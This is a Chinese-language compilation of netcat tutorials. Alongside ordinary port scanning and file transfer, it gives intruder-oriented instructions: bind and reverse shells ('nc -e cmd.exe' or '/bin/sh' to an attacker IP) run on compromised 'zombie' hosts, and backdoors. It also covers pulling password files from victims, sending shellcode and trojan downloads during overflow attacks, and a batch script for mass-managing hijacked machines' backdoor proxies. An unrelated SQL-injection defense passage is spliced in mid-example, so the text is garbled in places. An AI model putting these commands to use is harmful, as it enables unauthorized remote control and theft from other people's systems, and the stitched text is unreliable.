參考 :http://www.linuxso.com/command/nc.html
NC 全名 Netcat (網絡刀),作者是 Hobbit && ChrisWysopal。因其功能十分強大,體積小巧而出名,又被大家稱為“瑞士軍刀”。nc - TCP/IP swiss army knife
nc 常用于溢出、反向鏈接、上傳文本等。其實是一個非標準的 telnet 客戶端程序。也是一個 putty.exe 客戶端程序。
socat 是一個 nc 的替代品,可以稱為 nc++。是netcat的N倍加強版。socat 支持的連接方式很多,有 ip、tcp、udp、ipv6、pipe、exec、system、open proxy、openssl 等
功能說明:功能強大的網絡工具
語 法:nc [-hlnruz][-g<網關...>][-G<指向器數目>][-i<延遲秒數>][-o<輸出文件>][-p<通信端口>][-s<來源位址>][-v...][-w<超時秒數>][主機名稱][通信端口...]
參 數:-g<網關> 設置路由器躍程通信網關,最丟哦可設置8個。-G<指向器數目> 設置來源路由指向器,其數值為4的倍數。-h 在線幫助。-i<延遲秒數> 設置時間間隔,以便傳送信息及掃描通信端口。-l 使用監聽模式,管控傳入的資料。-n 直接使用IP地址,而不通過域名服務器。-o<輸出文件> 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存。-p<通信端口> 設置本地主機使用的通信端口。-r 亂數指定本地與遠端主機的通信端口。-s<來源位址> 設置本地主機送出數據包的IP地址。-u 使用UDP傳輸協議。-v 顯示指令執行過程。-w<超時秒數> 設置等待連線的時間。-z 使用0輸入/輸出模式,只在掃描通信端口時使用。[root@hatest1 ~]# type -a nc
nc is /usr/bin/nc
[root@hatest1 ~]# rpm -q nc
nc-1.10-22
1)端口掃描
nc -v -z host.example.com 70-80 #掃描端口(70到80),可指定范圍。-v輸出詳細信息。
nc -v -w 1 192.168.228.222 -z 1-1000
root@~# nc -v -w 2 192.168.2.34 -z 21-24 # 也可以不帶-z參數試下效果
nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused
Connection to 192.168.2.34 22 port [tcp/ssh] succeeded!
nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused
nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refusedroot@10.1.1.43:~# nc -v -z -w2 127.0.0.1 1-100
root@10.1.1.43:~# nc -v -w 10 10.1.1.180 80
root@10.1.1.43:~# nc -v -w 10 10.1.1.180 -z 80-30000# 監聽本地端口
root@10.1.1.43:~# nc -l -p 1234
root@10.1.1.43:~# netstat -tunlp | grep 1234
tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN 15543/nc# 測試UDP端口
root@172.16.211.34:web# netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1111/sshd
udp 0 0 0.0.0.0:68 0.0.0.0:* 887/dhclient root@172.16.211.35:~# nc -vuz 172.16.211.34 68
Connection to 172.16.211.34 68 port [udp/bootpc] succeeded!nc -p 1234 -w 5 host.example.com 80
建立從本地1234端口到host.example.com的80端口連接,5秒超時
nc -u host.example.com 53
u為UDP連接
2) 遠程拷貝文件
從server1拷貝文件到server2上。
先在server2上,用nc激活監聽,server2上運行:
[root@hatest2 tmp]# nc -lp 1234 > install.logserver1上運行:
[root@hatest1 ~]# ll install.log
-rw-r--r-- 1 root root 39693 12月 20 2007 install.log
[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log目的主機監聽
nc -l 監聽端口 > 要接收的文件名
nc -l 4444 > cache.tar.gz
源主機發起請求
nc 目的主機ip 目的端口
nc 192.168.0.85 4444
netstat 如下
[root@localhost jiangbao]# netstat -tpln
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 18166/nc 目錄傳輸
從server1拷貝nginx-0.6.34目錄內容到server2上。
先在server2上,用nc激活監聽,server2上運行:
[root@hatest2 tmp]# nc -l 1234 |tar xzvf -server1上運行:
[root@hatest1 ~]# ll -d nginx-0.6.34
drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
[root@hatest1 ~]# tar czvf - nginx-0.6.34|nc 192.168.228.222 1234從192.168.2.33拷貝文件到192.168.2.34
在192.168.2.34上: nc -l 1234 > test.txt
在192.168.2.33上: nc 192.168.2.34 < test.txt克隆硬盤或分區
操作與上面的拷貝是雷同的,只需要由dd獲得硬盤或分區的數據,然后傳輸即可。
克隆硬盤或分區的操作,不應在已經mount的的系統上進行。
所以,需要使用安裝光盤引導后,進入拯救模式(或使用Knoppix工具光盤)啟動系統后,
在server2上進行類似的監聽動作:
# nc -l -p 1234 | dd of=/dev/sda
server1上執行傳輸,即可完成從server1克隆sda硬盤到server2的任務:
# dd if=/dev/sda | nc 192.168.228.222 1234
3) 簡單聊天工具
在192.168.2.34上: nc -l 1234
在192.168.2.33上: nc 192.168.2.34 1234
這樣,雙方就可以相互交流了。使用ctrl+C(或D)退出。nc -l 1234
nc 127.0.0.1 1234
在端口1234建立連接,互相發送輸入
4) 保存Web頁面
# while true; do nc -l -p 80 -q 1 < somepage.html; done
5) 模擬HTTP Headers
[root@hatest1 ~]# nc www.linuxfly.org 80 GET / HTTP/1.1 Host: ispconfig.org Referrer: mypage.com User-Agent: my-browser
HTTP/1.1 200 OK Date: Tue, 16 Dec 2008 07:23:24 GMT Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8 Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/ Expires: 0 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Cache-Control: private, post-check=0, pre-check=0, max-age=0 Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/ Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html [......]在nc命令后,輸入紅色部分的內容,然后按兩次回車,即可從對方獲得HTTP Headers內容。echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80
連接到主機并執行
6) 用nc命令操作memcached
1)存儲數據:printf “set key 0 10 6rnresultrn” |nc 192.168.2.34 11211
2)獲取數據:printf “get keyrn” |nc 192.168.2.34 11211
3)刪除數據:printf “delete keyrn” |nc 192.168.2.34 11211
4)查看狀態:printf “statsrn” |nc 192.168.2.34 11211
5)模擬top命令查看狀態:watch “echo stats” |nc 192.168.2.34 11211
6)清空緩存:printf “flush_allrn” |nc 192.168.2.34 11211 (小心操作,清空了緩存就沒了)
教程2
來源:http://blog.csdn.net/xysoul/article/details/52270149
nc的使用方法
netcat被譽為網絡安全界的‘瑞士軍刀’,相信沒有什么人不認識它吧......
一個簡單而有用的工具,透過使用TCP或UDP協議的網絡連接去讀寫數據。它被設計成一個穩定的后門工具,能夠直接由其它程序和腳本輕松驅動。同時,它也是一個功能強大的網絡調試和探測工具,能夠建立你需要的幾乎所有類型的網絡連接,還有幾個很有意思的內置功能(詳情請看下面的使用方法)。?
在中國,它的WINDOWS版有兩個版本,一個是原創者Chris?Wysopal寫的原版本,另一個是由‘紅與黑’編譯后的新‘濃縮’版。‘濃縮’版的主程序只有10多KB(10多KB的NC是不能完成下面所說的第4、第5種使用方法,有此功能的原版NC好象要60KB:P),雖然“體積”小,但很完成很多工作。
軟件介紹:
工具名:Netcat
作者:Hobbit?&&?Chris?Wysopal
網址:http://www.atstake.com/research/tools/network_utilities/
類別:開放源碼
平臺:Linux/BSD/Unix/Windows?
WINDOWS下版本號:[v1.10?NT]
參數介紹:
nc.exe?-h即可看到各參數的使用方法。
基本格式:nc?[-options]?hostname?port[s]?[ports]?...
nc?-l?-p?port?[options]?[hostname]?[port]
-d?后臺模式
-e?prog?程序重定向,一旦連接,就執行?[危險!!]
-g?gateway?source-routing?hop?point[s],?up?to?8
-G?num?source-routing?pointer:?4,?8,?12,?...
-h?幫助信息
-i?secs?延時的間隔
-l?監聽模式,用于入站連接 (監聽本地端口)
-L?連接關閉后,仍然繼續監聽
-n?指定數字的IP地址,不能用hostname
-o?file?記錄16進制的傳輸
-p?port?本地端口號 (指定本地端口?)
-r?隨機本地及遠程端口
-s?addr?本地源地址
-t?使用TELNET交互方式(用telnet來回應?)
-u?UDP模式
-v?詳細輸出--用兩個-v( -vv)可得到更詳細的內容.?獲得端口信息
-w?secs?timeout的時間
-z?將輸入輸出關掉--用于掃描時.?端口的表示方法可寫為M-N的范圍格式。
基本用法:
大概有以下幾種用法:
1)連接到REMOTE主機,例子:
格式:nc?-nvv?192.168.x.x?80
講解:連到192.168.x.x的TCP80端口
2)監聽LOCAL主機,例子:
格式:nc?-l?-p?80
講解:監聽本機的TCP80端口
3)掃描遠程主機,例子:
格式:nc?-nvv?-w2?-z?192.168.x.x?80-445
講解:掃描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主機綁定SHELL,例子:
格式:nc?-l?-p?5354?-t?-e?c:winntsystem32cmd.exe
講解:綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354端口
5)REMOTE主機綁定SHELL并反向連接,例子:
格式:nc?-t?-e?c:winntsystem32cmd.exe?192.168.x.x?5354
講解:綁定REMOTE主機的CMDSHELL并反向連接到192.168.x.x的TCP5354端口
以上為最基本的幾種用法(其實NC的用法還有很多,
當配合管道命令“|”與重定向命令“<”、“>”等等命令功能更強大......)。
高級用法:
6)作攻擊程序用,例子:
格式1:type.exe?c:exploit.txt|nc?-nvv?192.168.x.x?80
格式2:nc?-nvv?192.168.x.x?80?<?c:exploit.txt
講解:連接到192.168.x.x的80端口,并在其管道中發送c:exploit.txt的內容(兩種格式確有相同的效果,真是有異曲同工之妙:P)
附:c:exploit.txt為shellcode等
7)作蜜罐用[1],例子:
格式:nc?-L?-p?80
講解:使用-L(注意L是大寫)可以不停地監聽某一個端口,直到ctrl+c為止.
8)作蜜罐用[2],例子:
格式:nc?-L?-p?80?>?c:log.txt
講解:使用-L可以不停地監聽某一個端口,直到ctrl+c為止,同時把結果輸出到c:log.txt中,如果把‘>’改為‘>>’即可以追加日志。
附:c:log.txt為日志等
9)作蜜罐用[3],例子:
格式1:nc?-L?-p?80?<?c:honeypot.txt
格式2:type.exe?c:honeypot.txt|nc?-L?-p?80
講解:使用-L可以不停地監聽某一個端口,直到ctrl+c為止,并把c:honeypot.txt的內容‘送’入其管道中如果攻擊者知道應用會將表單中輸入的內容直接用于驗證身份的查詢,他就會嘗試輸入某些特殊的SQL字符串篡改查詢改變其原來的功能,欺騙系統授予訪問權限。系統環境不同,攻擊者可能造成的損害也不同,這主要由應用訪問數據庫的安全權限決定。如果用戶的帳戶具有管理員或其他比較高級的權限,攻擊者就可能對數據庫的表執行各種他想要做的操作,包括添加、刪除或更新數據,甚至可能直接刪除表。
二、如何防范?
好在要防止ASP.NET應用被SQL注入式攻擊闖入并不是一件特別困難的事情,只要在利用表單輸入的內容構造SQL命令之前,把所有輸入內容過濾一番就可以了。過濾輸入內容可以按多種方式進行。
⑴ 對于動態構造SQL查詢的場合,可以使用下面的技術:
第一:替換單引號,即把所有單獨出現的單引號改成兩個單引號,防止攻擊者修改SQL命令的含義。再來看前面的例子,“Select * from Users Where login = or 1=1 AND password = or 1=1”顯然會得到與“Select * from Users Where login = or 1=1 AND password = or 1=1”不同的結果。
第二:刪除用戶輸入內容中的所有連字符,防止攻擊者構造出類如“Select * from Users Where login = mas -- AND password =”之類的查詢,因為這類查詢的后半部分已經被注釋掉,不再有效,攻擊者只要知道一個合法的用戶登錄名稱,根本不需要知道用戶的密碼就可以順利獲得訪問權限。
第三:對于用來執行查詢的數據庫帳戶,限制其權限。用不同的用戶帳戶執行查詢、插入、更新、刪除操作。由于隔離了不同帳戶可執行的操作,因而也就防止了原本用于執行Select命令的地方卻被用于執行Insert、Update或Delete命令。
⑵ 用存儲過程來執行所有的查詢。SQL參數的傳遞方式將防止攻擊者利用單引號和連字符實施攻擊。此外,它還使得數據庫權限可以限制到只允許特定的存儲過程執行,所有的用戶輸入必須遵從被調用的存儲過程的安全上下文,這樣就很難再發生注入式攻擊了。
⑶ 限制表單或查詢字符串輸入的長度。如果用戶的登錄名字最多只有10個字符,那么不要認可表單中輸入的10個以上的字符,這將大大增加攻擊者在SQL命令中插入有害代碼的難度。
⑷ 檢查用戶輸入的合法性,確信輸入的內容只包含合法的數據。數據檢查應當在客戶端和服務器端都執行——之所以要執行服務器端驗證,是為了彌補客戶端驗證機制脆弱的安全性。
在客戶端,攻擊者完全有可能獲得網頁的源代碼,修改驗證合法性的腳本(或者直接刪除腳本),然后將非法內容通過修改后的表單提交給服務器。因此,要保證驗證操作確實已經執行,唯一的辦法就是在服務器端也執行驗證。你可以使用許多內建的驗證對象,例如RegularExpressionValidator,它們能夠自動生成驗證用的客戶端腳本,當然你也可以插入服務器端的方法調用。如果找不到現成的驗證對象,你可以通過CustomValidator自己創建一個。
⑸ 將用戶登錄名稱、密碼等數據加密保存。加密用戶輸入的數據,然后再將它與數據庫中保存的數據比較,這相當于對用戶輸入的數據進行了“消毒”處理,用戶輸入的數據不再對數據庫有任何特殊的意義,從而也就防止了攻擊者注入SQL命令。System.Web.Security.formsAuthentication類有一個HashPasswordForStoringInConfigFile,非常適合于對輸入數據進行消毒處理。
⑹ 檢查提取數據的查詢所返回的記錄數量。如果程序只要求返回一個記錄,但實際返回的記錄卻超過一行,那就當作出錯處理。
第一個:?
nc -l -v -p 7626?
這就是打開本地的7626端口進行監聽,并反饋連接信息這樣如果有掃描冰河木馬的人會認為你中了木馬開放了7626,和“小豬快跑”的功能有點象,再加個批處理文件一起用的話就是一個“小豬快跑”了
如果要監視是否有入侵本地80端口的行為,并記下來,用這個命令:?
nc -l -p 80 >>c:\\日志.dat?
這樣,凡是有針對本機80端口的攻擊都會被記錄下來的
二、?
如果你通過溢出進入了別人的機器,就可以運行:?
nc -l -p 123 -e cmd.exe?
或者是: nc -l -p 123 -t?
作用都是以cmd.exe來響應到機器上123端口的連接?
這樣就把溢出的主機變成了一臺telnet肉雞了啊?
你也可一用命令讓肉雞主動連接你的主機,假設我的IP是192.168.0.1?
在肉雞上運行: nc -e cmd.exe 192.168.0.1 777?
再在本地機器上運行: nc -l -p 777?
意思是讓肉雞將cmd.exe(就是個shell)主動響應到你電腦的777端口?
你再在本地機上監聽777端口,這樣就進入了對方的cmd了?
這也就是反彈端口式木馬的原理了。
三、?
用這個命令:?
nc -v 192.168.0.25 80?
就獲得了192.168.0.25的80端口的信息?
可以獲得IIS版本等很多重要信息 的
四、?
你也可以將NC作為掃描器使用:?
nc -v -z 192.168.0.25 1-100?
掃描192.168.0.25的1到100間的TCP端口
用nc -v -z -u 192.168.0.25 1-100?
這是掃描1到00間的UDP端口
?
3.1.端口的刺探:
nc -vv ip port?
RIVER [192.168.0.198] 19190 (?) open //顯示是否開放open
3.2.掃描器
nc -vv -w 5 ip port-port port?
nc -vv -z ip port-port port
這樣掃描會留下大量的痕跡,系統管理員會額外小心。
3.3. 后門
victim machine: //受害者的機器?
nc -l -p port -e cmd.exe //win2000?
nc -l -p port -e /bin/sh //unix,linux?
attacker machine: //攻擊者的機器.?
nc ip -p port //連接victim_IP,然后得到一個shell。
3.4.反向連接?
attacker machine: //一般是sql2.exe,遠程溢出,webdavx3.exe攻擊.?
//或者wollf的反向連接.?
nc -vv -l -p port?
victim machine:?
nc -e cmd.exe attacker ip -p port?
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:?
nc -vv -l -p port1 ?
nc -vv -l -p prot2 ?
victim machine:?
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2?
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加參數-s(nc.exe -L -p 139 -d -e cmd.exe -s 對方機器IP),這樣就可以保證nc.exe優先于NETBIOS。
3.5.傳送文件:
3.5.1 attacker machine <-- victim machine //從肉雞拖密碼文件回來.?
nc -d -l -p port < path\filedest 可以shell執行?
nc -vv attacker_ip port > path\file.txt 需要Ctrl+C退出?
//肉雞需要gui界面的cmd.exe里面執行(終端登陸,不如安裝FTP方便).否則沒有辦法輸入Crl+C.
3.5.2 attacker machine --> victim machine //上傳命令文件到肉雞?
nc -vv -l -p port > path\file.txt 需要Ctrl+C退出?
nc -d victim_ip port < path\filedest 可以shell執行?
//這樣比較好.我們登陸終端.入侵其他的肉雞.可以選擇shell模式登陸.
3.6 端口數據抓包.
nc -vv -w 2 -o test.txt xfocus.Net?80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error?
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr?
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...?
< 00000084 83 00 00 01 8f # .....
3.7 telnet,自動批處理。
nc victim_ip port < path\file.cmd 顯示執行過程.?
nc -vv victim_ip port < path\file.cmd 顯示執行過程.
nc -d victim_ip port < path\file.cmd 安靜模式.
_______________file.cmd________________________?
password?
cd %windir%?
echo []=[%windir%]?
c:?
cd \?
md test?
cd /d %windir%\system32\?
net stop sksockserver?
snake.exe -config port 11111?
net start sksockserver?
exit?
_______________file.cmd__END___________________
########################################?
4. 管理肉雞,更改肉雞設置?
########################################
4.1 比如要統一更改肉雞上面的代理端口.snake.exe 修改為11111 服務名稱"sksockserver",使用winshell后門. 端口1234 密碼password
命令格式就是:
modi.bat youip.txt
___________modi.bat____
________________________?
@if "%1"=="" echo Error: no ip.txt &&goto END
:start?
@echo password >a.cmd?
@echo s >>a.cmd?
@echo cd /d %%windir%%\system32\ >>a.cmd?
@net stop "sksockserver" >>a.cmd?
@snake.exe -config port 11111 >>a.cmd?
@net start "sksockserver" >>a.cmd?
@exit >>a.cmd
:auto?
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 < a.cmd)
:END?
___________modi.bat__END_______________________
4.2?
@echo off?
color f0?
:start?
cls?
C:\nc -vv -w 3 -l -p 80>>80.txt?
goto start
把防火墻關掉以后運行這個批處理,會監聽到許多探測U漏洞的信息,大多是三條一組--妮姆達病毒掃描你的。這樣就會得到肉雞的.雖然質量不高.但是也是一種便宜的辦法.
肉雞特征:
1。unicode漏洞?
2。guest密碼為空,administrators組用戶?
3。其他漏洞
一、基本使用:
Quack# nc -h?
[v1.10]?
想要連接到某處: nc [-options] hostname port [ports] ...?
綁定端口等待連接: nc -l -p port [-options] [hostname] [port]?
參數:?
-e prog 程序重定向,一旦連接,就執行 [危險!!]?
-g gateway source-routing hop point, up to 8?
-G num source-routing pointer: 4, 8, 12, ...?
-h 幫助信息?
-i secs 延時的間隔?
-l 監聽模式,用于入站連接?
-n 指定數字的IP地址,不能用hostname?
-o file 記錄16進制的傳輸?
-p port 本地端口號?
-r 任意指定本地及遠程端口?
-s addr 本地源地址?
-u UDP模式?
-v
詳細輸出——用兩個-v可得到更詳細的內容?
-w secs timeout的時間?
-z 將輸入輸出關掉——用于掃描時
其中端口號可以指定一個或者用lo-hi式的指定范圍。
二、用于傳輸文件——ncp
#! /bin/sh?
## 類似于rcp,但是是用netcat在高端口做的?
## 在接收文件的機器上做"ncp targetfile"?
## 在發送文件的機器上做"ncp sourcefile receivinghost"?
## 如果調用了 "nzp" ,會將傳輸文件壓縮
## 這里定義你想使用的端口,可以自由選擇?
MYPORT=23456
## 如果nc沒有在系統路徑中的話,要把下面一行注釋去掉,加以修改?
# PATH=$:$ ; export PATH
## 下面這幾行檢查參數輸入情況:
test "$3" && echo "too many args" && exit 1?
test ! "$1" && echo "no args?" && exit 1?
me=`echo $0 | sed s+.*/++`?
test "$me" = "nzp" && echo [compressed mode]
# if second arg, its a host to send an [extant] file to.?
if test "$2" ; then?
test ! -f "$1" && echo "cant find $1" && exit 1?
if test "$me" = "nzp" ; then?
compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0?
else?
nc -v -w 2 $2 $MYPORT < "$1" && exit 0?
fi?
echo "transfer FAILED!"?
exit 1?
fi
# 是否在接收文件機器當前目錄有同名文件
if test -f "$1" ; then?
echo -n "Overwrite $1? "?
read aa?
test ! "$aa" = "y" && echo "[punted!]" && exit 1?
fi?
# 30 seconds oughta be pleeeeenty of time, but change if you want.?
if test "$me" = "nzp" ; then?
# 注意這里nc的用法,結合了重定向符號和管道?
nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "$1" && exit 0?
else?
nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0?
fi?
echo "transfer FAILED!"?
# clean up, since even if the transfer failed, $1 is already trashed?
rm -f "$1"?
exit 1
這樣的話,我只要在A機器上先 QuackA# ncp ../abcd?
listening on 然后在另一臺機器B上?
QuackB#ncp abcd 192.168.0.2?
quackb [192.168.0.1] 23456 (?)?
A機上出現?
open connect to [192.168.0.2] from quackb [192.168.0.1] 1027?
#
查看一下,文件傳輸完畢。
===========================================================================
【本地運行】nc -v ip port
【命令解釋】掃瞄某 IP 的某個端口,返回信息詳細輸出。
===========================================================================
【本地運行】nc -v -z ip port-port
【命令解釋】掃描某IP的端口到某端口,返回信息詳細輸出,但掃描速度較慢。
===========================================================================
【本地運行】nc -v -z -u ip port-port
【命令解釋】掃描某 IP 的某 UDP 端口到某 UDP 端口,返回信息詳細輸出,但掃描速度較慢。
===========================================================================
【本地運行】nc -l -p 80
【命令解釋】開啟本機的 TCP 80 端口并監聽。
===========================================================================
【本地運行】nc -l -v -p 80
【命令解釋】開啟本機的 TCP 80 端口并將監聽到的信息輸出到當前 CMD 窗口。
===========================================================================
【本地運行】nc -l -p 80 > E:/log.dat
【命令解釋】開啟本機的 TCP 80 端口并將監聽到的信息輸出到 E:/log.dat 下的日志文件里。
===========================================================================
【本地運行】nc -nvv 192.168.1.101 80
【命令解釋】連接到192.168.1.101主機的 80 端口。
===========================================================================
【本地運行】nc -nvv -w2 -z 192.168.1.101 80-1024
【命令解釋】掃錨192.168.1.101的80-1024端口,連接超時時間為2秒。
===========================================================================
【遠程運行】nc -l -p 2012 -t -e cmd.exe
【本地運行】nc -nvv 192.168.1.101 2012
【命令解釋】采用正向連接方式,遠程主機(注:假設IP地址為 192.168.1.101)上運行 nc -l -p 2012 -t -e cmd.exe 意為綁定遠程主機的 CMD 到2012 端口,當本地主機連接遠程主機成功時就會返回給本地主機一個CMD Shell ;在本地主機上運行 nc -nvv 192.168.1.101 2012 用于連接已經將 CMD 重定向到 2012 端口的遠程主機(注:假設IP地址為 192.168.1.101)。
===========================================================================
【本地運行】nc -l -p 2012
【遠程運行】nc -t -e cmd.exe 192.168.1.102 2012
【命令解釋】采用反向連接方式,先在本地主機運行 nc -l -p 2012 開啟本地主機的(注:假設IP地址為 192.168.1.102)2012 端口并監聽等待遠程主機連接;在遠程主機上運行 nc -t -e cmd.exe 192.168.1.102 2012 將遠程主機的 CMD 重定向到 IP 地址為 192.168.1.102 端口號為2012 的主機上,連接成功后 IP 地址為 192.168.1.102 的主機會得到一個CMD Shell。
===========================================================================
【本地運行】nc -v -n ip port < C:/sunzn.exe
【遠程運行】nc -v -l -p port > D:/sunzn.exe
【命令解釋】在本地運行 nc -v -n ip port < C:/sunzn.exe 意為從本地 C 盤根目錄中讀取 sunzn.exe 文件的內容,并把這些數據發送到遠程主機的對應端口上(注:命令行中的 IP 為接收文件的遠程主機 IP ),在遠程主機運行 nc -v -l -p port > D:/sunzn.exe 意為監聽對應端口并把接收到的信息數據寫到 D:/sunzn.exe 中,兩行命令實現了文件在本地主機和遠程主機間的傳輸。
===========================================================================
【本地運行】nc -L -p 8989<C:\ftp.txt ( ftp.txt 中為FTP自動下載命令)
【命令解釋】不停地監聽 8989 端口,并把 C:\ftp.txt 中的內容發給任何一臺連接本機 8989 端口的主機,可起到傳送文件作用(此用法經常用于反向溢出)。溢出遠程主機時,一旦溢出的遠程主機連接本地主機 8989 端口,遠程主機就會自動用 FTP 下載指定的文件,如木馬。
===========================================================================
寫一篇簡單一點的使用教程:
命令1:監聽命令
nc -l -p port
nc -l -p port > e:\log.dat
nc -l -v -p port
參數解釋:
-l:監聽端口,監聽入站信息
-p:后跟本地端口號
-v:顯示端口的信息,如果使用-vv的話,則會顯示端口更詳細的信息
提示:一般大家都愛用-vvnc -l -p 80
這個很簡單,監聽80端口
如果機器上運行這個命令,端口80被認為是開放的,可以欺騙掃描器nc -l -p 80 > e:\log.dat
將詳細信息寫入E盤log.dat的日志文件nc -l -v -p 80
和上邊命令相似,會直接顯示信息在運行著NC的屏幕上。
實踐:
例如:nc -l -v -p 80
然后在瀏覽器中輸入本機IP:127.0.0.1命令2:程序定向(反彈shell的方法)
nc -l -p port -t -e cmd.exe
本地機: nc -l -p port 或 nc -l -v -p port
目標機:nc -e cmd.exe ip port
參數解釋:
-l、-p兩個參數已經解釋過了
-e;作用就是程序定向
-t:以telnet的形式來應答
例子
nc -l -p 5277 -t -e cmd.exe
千萬不要運行在自己的機器上,如果運行了,你機器就會變成一臺TELNET的服務器了。
命令解釋為:監聽本地端口5277的入站信息,同時將CMD.exe這個程序,重定向到端口5277上,當有人連接的時候,就讓程序CMD.exe以TELNET的形式來響應連接要求。
說白了,其實就是讓他成為一臺TELNET的肉雞,所以這個命令要運行在你的肉雞上。例如用法:
local machine:nc -l -p port ( or nc -l -v -p port )
remote machine:nc -e cmd.exe ip port
大家知道灰鴿子和神偷吧,這兩款工具都是利用了反彈端口型的木馬,
什么叫反彈端口?
就是說,當對方中馬后,不用你主動和對方連接,也就是說不用從你的client端向對方主機上運行的server端發送請求連接,而是對方主動來連接你這樣就可以使很多防火墻失效,因為很多防火墻都不檢查出站請求的。這里這兩個命令結合在一起后,于那兩款木馬可以說有異曲同工之效。本地運行:nc -l -p 5277 (監聽本地5277端口)或者 nc -l -v -p 5277
然后在遠程機器上,想辦法運行 nc -e cmd.exe ip 5277
(你可別真的打“ip”在肉雞上啊)要打,xxx.xxx.xxx.xxx這樣!!
這樣就是反彈~~在本地機器上得到了一個SHELL
命令3:掃描端口
nc -v ip port
nc -v -z ip port-port
nc -v -z -u ip port-port
參數解釋:
-z:將輸入輸出關掉,在掃描時使用
nc -v ip port
這個命令是針對某一個端口進行掃描
例如:
nc -v ip 135
掃描遠程主機的135端口,這樣獲得了該端口的一些簡單信息,但是針對某些端口,我們還可以獲得更多的信息
例如:80端口
我們可以使用nc -v ip 80 然后使用get方法來獲得對方的WEB服務器的信息
nc -v -z ip port-port
這個命令是用來掃描的一個命令,這個命令用于快速掃描TCP端口,而port-port則是指定了掃描的端口范圍
例如:
nc -v -z ip 1-200
可以看到我機器上的1-200的TCP端口的開放情況
nc -v -z -u ip port-port
這個命令比上個命令多了個-u,這個命令的作用仍然是掃描端口,只是多了一個-u的參數,是用來掃UDP端口的
例如:
nc -v -z -u ip 1-200
這個命令就會掃1-200的UDP端口
命令4:傳送文件(HOHO,I LIKE)
LOCAL MACHINE:nc -v -n ip port < x:\svr.exe
REMOTE MACHINE:nc -v -l -p port > y:\svr.exe
參數解釋:
-n:指定數字的IP地址
這兩個命令結合起來是用來傳送文件的
首先,在遠程機上運行命令:
nc -v -l -p 5277 > c:\pulist.exe
這個命令還記的嗎?呵呵,是不是和監聽命令有點類似,對,沒錯,這個是監聽5277端口
并把接受到的信息數據寫到c:\pulist.exe中
這時候在本地機上運行
nc -v -n ip 5277 < e:\hack\pulist.exe
這個命令的意思就是,從本地E盤跟目錄中讀取pulist.exe文件的內容,并把這些數據發送到ip的5277端口上
這樣遠程主機就會自動創建一個pulist.exe文件。